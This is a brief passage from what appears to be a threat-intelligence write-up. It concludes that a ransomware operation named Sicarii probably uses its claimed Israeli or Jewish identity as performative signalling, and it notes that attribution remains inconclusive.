Taken together, these indicators suggest that Sicarii’s claimed Israeli or Jewish identity doesn’t necessarily reflect genuine ideological motives. Instead, the operation appears to leverage performative identity signaling layered onto an immature ransomware capability. Attribution remains inconclusive, but Sicarii’s self-description should not necessarily be taken at face value.
Login
